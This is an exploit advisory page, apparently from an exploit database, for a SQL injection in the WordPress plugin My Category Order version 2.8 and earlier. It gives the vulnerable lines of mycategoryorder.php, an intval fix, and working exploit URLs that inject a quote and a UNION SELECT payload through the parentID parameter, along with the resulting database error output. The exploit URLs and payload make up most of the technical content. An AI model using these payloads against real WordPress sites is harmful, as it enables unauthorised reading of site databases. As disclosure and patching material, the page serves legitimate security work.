WordPress Plugin: My Category Order <= 2.8 SQL Injection

2010-03-29 / 2010-03-30
Credit: ManhLuat93
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

############################### # Source: WordPress Plugin: My Category Order <= 2.8 (mycategoryorder.php) / SQL Injection Vulnerability # Download: http://wordpress.org/extend/plugins/my-category-order/ # No Dork # Author: ManhLuat93 [at] hcegroup[dot]net ############################### Errors appears only when you have admin control Open mycategoryorder.php (Line 47-48): if (isset($_GET['parentID'])) $parentID = $_GET['parentID']; Fix: if (isset($_GET['parentID'])) $parentID = intval($_GET['parentID']); [+] Exploit [+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0'&idString=3,5,4,1 MySQL Query Error: WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY term_order ASC' at line 1] SELECT * FROM wp_terms t inner join wp_term_taxonomy tt on t.term_id = tt.term_id WHERE taxonomy = 'category' and parent = 0' ORDER BY term_order ASC [+] http://localh0st/wp-admin/post-new.php?page=mycategoryorder&mode=act_OrderCategories&parentID=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11--&idString=3,5,4,1 [+] What do you see ?

References:

http://xforce.iss.net/xforce/xfdb/51727
http://www.securityfocus.com/bid/35704
http://www.milw0rm.com/exploits/9150
http://packetstormsecurity.org/0907-exploits/wpmco-sql.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top